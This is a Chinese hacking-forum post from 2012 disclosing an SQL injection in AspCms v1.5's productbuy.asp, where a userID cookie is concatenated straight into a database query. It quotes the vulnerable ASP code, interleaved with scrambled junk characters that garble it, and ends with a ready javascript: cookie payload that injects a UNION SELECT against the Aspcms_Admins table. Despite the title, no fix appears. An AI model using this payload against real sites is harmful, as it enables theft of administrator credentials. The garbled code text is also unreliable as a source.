找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2463|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....% M; c$ I3 _' j1 j2 n
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。  M5 [* U, t* ~2 q1 K$ d/ _/ D) y
废话不多说,看代码:8 ^+ k0 |2 }0 w- q

- |' K/ ?( O! E. W<%% D- r1 x5 C' w2 _/ ?8 ^

" Y. S2 z1 q+ {) i* [if action = "buy" then. V1 w) b( Q9 A! s7 [
% {% z3 O! O! z, A
        addOrder()# t# D% W7 ~! }! d/ n" G

" J. I7 p$ |# \% ^else2 S2 L: \2 I; q/ f& M

5 [  u4 B  G% Y( A( k6 e$ h        echoContent()6 _  H& O7 j$ F6 L. h9 t

1 [' g" O9 _! }: \3 J% fend if# a: Z9 J( `9 I; e; e
9 X0 h# Z+ \2 D

$ o4 f, _  k' B5 s" ]' U" K- Z% j/ y
……略过
- l  \$ c5 \3 e4 _- [7 ^
4 |5 O, y) z, v( r( P+ `5 J- I/ Z. w4 ]! ~* v0 F3 |2 u0 j. z
% {* l8 k2 [4 a- C
Sub echoContent()6 s, _2 [3 k: ^4 x3 a5 s
# u- T+ {& Y2 d# ]- o! S! P
        dim id
& Y) g! ~9 G, {0 C: K" B8 Z4 Y0 v; J, K8 o) }
        id=getForm("id","get")( P5 i( M8 m" g2 c; q+ n
8 w9 R' C& X  x4 j/ P
        & j/ K! C( q9 v. e

" G7 i' a2 w7 t- b2 f$ g" S: w, _        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
0 W7 R0 i# d% Z2 _1 ]; v  w- T' @: ~
        / r$ k: S, Y8 f3 s

' i0 t! i& k* m# b        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")+ `0 z0 g/ X( X, A

; l  ^- o- N. }  g6 P8 v* Z$ S  \0 s& }        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct0 _8 a* F! J" g" U- g: r4 E

' c( G; Q9 {2 `6 ~% {# b6 u        Dim templatePath,tempStr) e# x/ |/ b3 g
9 \6 ]# n% g/ _
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
! U1 z3 W/ t! ]8 ]0 A
2 m+ m1 f' `. J* ?
2 c# c) K8 {. z+ ]& l- U
: l% B4 D& _" w0 a4 _9 r( u        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")( A4 A4 L6 i$ l" P
$ r0 f0 i) k9 Q) s* l; T
        selectproduct=rsObj(0)3 x: j/ c3 @6 _$ a) C9 f

8 x, e2 j- T5 m9 n        
3 I7 v* }7 l6 ~2 z# T
) D* B  a2 e2 a+ W/ ~        Dim linkman,gender,phone,mobile,email,qq,address,postcode
' V( e2 a6 h9 W* {1 Y/ W2 z  v' D/ ?) [: ^2 t
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
( B2 H# K4 M" U. O, j$ y' E& ]4 D9 f! Q, ^+ Z
        if rCookie("loginstatus")=1 then  
9 v: t% E+ |1 d1 ]% q7 T  v8 v) N$ d; h) b1 T
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1"); ?  O! F8 }' I! o2 @
; O9 E4 i2 J1 ^; S
                linkman=rsObj("truename")6 E6 Y3 _0 Q8 v. Z& n$ ]- h

. e5 M3 j/ O, ]- \                gender=rsObj("gender")
2 e. m: W+ g: L: q& s. M
" K" Q! t1 N/ j6 K3 [# h0 Z( j                phone=rsObj("phone")
; M* F8 x9 q6 F3 u; z" I  k. Q6 c5 h7 L+ r
                mobile=rsObj("mobile")& x+ K8 X# q# p$ X

% ~- a* _6 L  d+ s                email=rsObj("email")
" _; E0 N1 C1 p4 ^
; `4 a. [  E! A3 j2 A, V6 x                qq=rsObj("qq")
1 d0 U+ h9 G2 s+ ^; J
2 V3 t6 F! p0 I  E                address=rsObj("address")# _$ @: \! l" Q
) @7 \" z0 j6 H+ ^5 J( w  _
                postcode=rsObj("postcode")1 w! v. Q$ w1 `8 u

9 q% @  ]7 d3 `2 l- b8 V( z5 I        else 7 a. {( o3 P3 w: B* e
# t! i6 R" z! e$ G3 y" i# `4 S8 b
                gender=1
% V& A1 m( A" E5 X' l0 Q+ Z
& E, g/ v# }2 K0 X( b        end if  h4 k) L/ J7 F( V7 R

9 c9 A3 E: Y- s& g6 M/ Y& R        rsObj.close()
+ S8 ]! s+ w$ R* |) H5 {; R
6 Q3 C7 @9 x- J1 T- Q6 S7 v               
% z) v( L' u0 y' `. L8 G/ d! a: w0 \1 B, P
        with templateObj
4 L0 e. K! Y5 i  v3 n/ A2 F3 g4 T& T* R; f' Y
                .content=loadFile(templatePath)        
) P  A* |9 n9 \, x# x% p, o% Q" m" K) z/ j& S
                .parseHtml()+ f* u* }" [6 y: o* ?1 E

% C  O8 i2 }/ B; v/ b1 I                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
/ \/ t+ O3 E& x
# _) v7 K$ |3 y3 K3 w                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                ' x- j) B" z9 B8 t6 k
# w9 C# o- j% }6 v
                .content=replaceStr(.content,"[aspcms:gender]",gender)                - F5 K7 J1 E) k
5 B: c: _, v4 g% S' ]# N
                .content=replaceStr(.content,"[aspcms:phone]",phone)                : g' M+ i; k% o& N# E
" A$ q. a+ A7 Z- [+ o6 b
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
: R* T; W6 t& F/ Q) Z
. t& U& u2 t; u6 b                .content=replaceStr(.content,"[aspcms:email]",email)                        
$ C2 m# H& @6 w
# _) O) R+ w$ }! V8 N                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
: a- g7 g9 q( d8 k$ E( B
1 M4 D4 L1 w! f9 N5 H* {4 w" z/ }                .content=replaceStr(.content,"[aspcms:address]",address)                        ) p9 m- D6 j1 Y8 W2 ^/ \: L0 x
% N" Y, Z. }4 \' _; g
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        # R% W& Q, e: H( {" r
  q# Z! }- b' v% a
                .parseCommon()                 
) S2 a4 ?* J- b) ^+ D( J9 d& c* L9 y- Z9 W7 u: m
                echo .content 7 N: q) V+ m4 {
5 O7 p7 u  J. ~* @$ ], v
        end with% [- H4 ~3 @8 R- ~

7 w( u" Z- ]  D        set templateobj =nothing : terminateAllObjects  J# l& w9 h/ f: H8 j7 }
5 c4 f! m2 G0 p8 G  k, X. G
End Sub
8 l: _! f" M% L漏洞很明显,没啥好说的
' i% m' U# |! D0 Y5 n0 X: j. Gpoc:
. N% v( [, z" z! p$ p" G: e1 J) ~" y( j0 h1 b
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​1 P' B6 S- I9 R! X2 d) H" b" l1 U
. [' `% N  s" r$ l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表